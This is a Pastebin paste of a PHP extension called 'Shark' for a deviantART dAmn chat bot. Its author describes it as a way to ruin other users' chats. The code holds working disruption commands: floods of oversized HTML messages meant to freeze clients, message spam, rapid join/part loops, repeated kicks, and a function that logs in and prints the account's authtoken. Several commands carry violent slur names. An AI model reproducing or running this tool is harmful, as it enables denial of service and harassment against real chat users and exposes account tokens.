Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // This is Shark for Contra
- // Author; i-hate-mushrooms <infernowasp@gmail.com>
- // This is how I ruin your rainbow, motherfuckers
- // FUCK YOUR SHIT
- class dAmn_Shark extends extension {
- public $name = 'Shark';
- public $version = '1';
- public $about = 'No info, beat the author.';
- public $status = true;
- public $author = 'i-hate-mushrooms';
- public $type = EXT_CUSTOM;
- function init() {
- $this->addCmd('f', 'c_freeze', 99);
- $this->addCmd('s', 'c_spam', 99);
- $this->addCmd('r', 'c_rape', 99);
- $this->addCmd('t', 'c_gettoken', 99);
- $this->addCmd('sr', 'c_spamrape', 99);
- $this->addCmd('log', 'c_login', 99);
- $this->addCmd('jsp', 'c_joinspampart', 99);
- $this->addCmd('kr', 'c_kickrape', 99);
- // $this->addCmd('getcookie', 'c_cookie', 99);
- $this->cmdHelp('f', 'Freeze.');
- $this->cmdHelp('s', 'Spam.');
- $this->cmdHelp('r', 'Rape.');
- $this->cmdHelp('t', 'Token.');
- $this->cmdHelp('sr', 'SR.');
- $this->cmdHelp('log', 'Login.');
- $this->cmdHelp('jsp', 'No help for this command, beat the author.');
- $this->cmdHelp('kr', 'KR.');
- // $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
- }
- function c_freeze($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> f channel number');
- else
- $this->dAmn->join("chat:$tg");
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>	</abbr>");
- }
- }
- function c_spam($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number message');
- else
- $this->dAmn->join("chat:$tg");
- for($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", $msg);
- }
- }
- function c_joinspampart($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number message');
- else
- $this->dAmn->join("chat:$tg");
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", $msg);
- }
- $this->dAmn->part("chat:$tg");
- }
- function c_rape($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number');
- else {
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->part("chat:$tg");
- $this->dAmn->join("chat:$tg");
- }
- }
- }
- function c_gettoken($ns, $from, $message, $target) {
- $user = args($message, 1);
- $pass = args($message, 2);
- $un = args($message, 3, true);
- if (empty($user))
- return
- $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
- elseif (empty($pass)) {
- $this->dAmn->say($ns, $from.': Enter password in bot console.');
- print "What's the password? ";
- $pass = trim(fgets(STDIN));
- }
- $cookie = cookiegrab($user, $pass);
- if (empty($cookie))
- $this->dAmn->say($ns, $from.': Invalid username or password.');
- $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
- }
- function c_spamrape($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number');
- else
- for($i = 0; $i < $nu; $i++) {
- $this->dAmn->join("chat:$tg");
- $this->dAmn->say("chat:$tg", $msg);
- $this->dAmn->part("chat:$tg");
- }
- }
- function c_login($ns, $from, $message, $target) {
- $user = args($message, 1);
- $pass = args($message, 2);
- $wut = args($message, 3, true);
- if (empty($user))
- $this->dAmn->say($ns, $from.': At least provide a username.');
- elseif (empty($pass)) {
- $this->dAmn->say($ns, $from.': Enter password in the console.');
- print "What's $user's password? ";
- $pass = trim(fgets(STDIN));
- }
- $cookie = cookiegrab($user, $pass);
- if (empty($cookie))
- $this->dAmn->say($ns, $from.': Invalid username or password.');
- $this->Bot->username = $user;
- $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
- $this->dAmn->disconnect();
- }
- function c_kickrape($ns, $from, $message, $target) {
- $user = args($message, 1);
- $nu = args($message, 2);
- $res = args($message, 3, true);
- if(empty($user)) {
- $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number reason');
- return;
- }
- if (!is_numeric($nu))
- $r = args($message, 2, true); $r = $r==''?false:$r;
- for($i = 0; $i < $nu; $i++) {
- sleep(1);
- $this->dAmn->kick($target, $user, $res);
- }
- }
- }
- define('LBR', chr(10));
- function cookiegrab($username, $pass) {
- $socket = fsockopen('ssl://www.deviantart.com', 443);
- if ($socket === false) {
- echo '>> Unable to connect.'.LBR;
- echo '>> Check your connection.'.LBR;
- return 1;
- }
- $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
- $POST.= '&username='.urlencode($username);
- $POST.= '&password='.urlencode($pass);
- $POST.= '&reusetoken=1' . chr(0);
- fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
- fputs($socket, 'Host: www.deviantart.com'.LBR);
- fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
- fputs($socket, 'Accept: text/html'.LBR);
- fputs($socket, 'Cookie: skipintro=1'.LBR);
- fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
- fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
- $response = '';
- while (!feof ($socket))
- $response .= fgets ($socket, 500);
- fclose ($socket);
- if(!empty($response)) {
- $response = urldecode($response);
- $response = substr($response, strpos($response,'=')+1);
- $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
- if(is_array($cookie)) {
- if(array_key_exists('authtoken', $cookie))
- return $cookie;
- }
- }
- return Null;
- }
- new dAmn_Shark;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement